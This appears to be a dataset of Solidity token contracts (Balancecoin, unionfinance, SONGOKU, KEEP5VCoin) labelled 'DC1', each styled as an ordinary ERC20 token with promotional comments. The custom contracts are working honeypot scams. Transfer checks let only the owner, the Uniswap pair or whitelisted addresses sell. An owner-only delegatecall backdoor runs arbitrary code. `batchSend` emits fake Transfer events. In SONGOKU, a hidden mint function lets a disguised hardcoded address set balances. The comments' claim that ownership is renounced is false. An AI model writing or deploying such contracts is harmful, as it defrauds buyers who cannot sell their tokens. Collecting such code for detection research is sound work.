_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Balancecoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
UNION is a complete ecosystem
of products and modules
specifically designed for DeFi
and tailored to scale.
https://unn.finance/
https://twitter.com/unnfinance
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract unionfinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
/*
Marketing paid
Liqudity Locked
Ownership renounced
No Devwallets
CG, CMC listing: Ongoing
Devs of Shibramen ©
SPDX-License-Identifier: Mines™®©
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SONGOKU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
KEEP5V Coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract KEEP5VCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.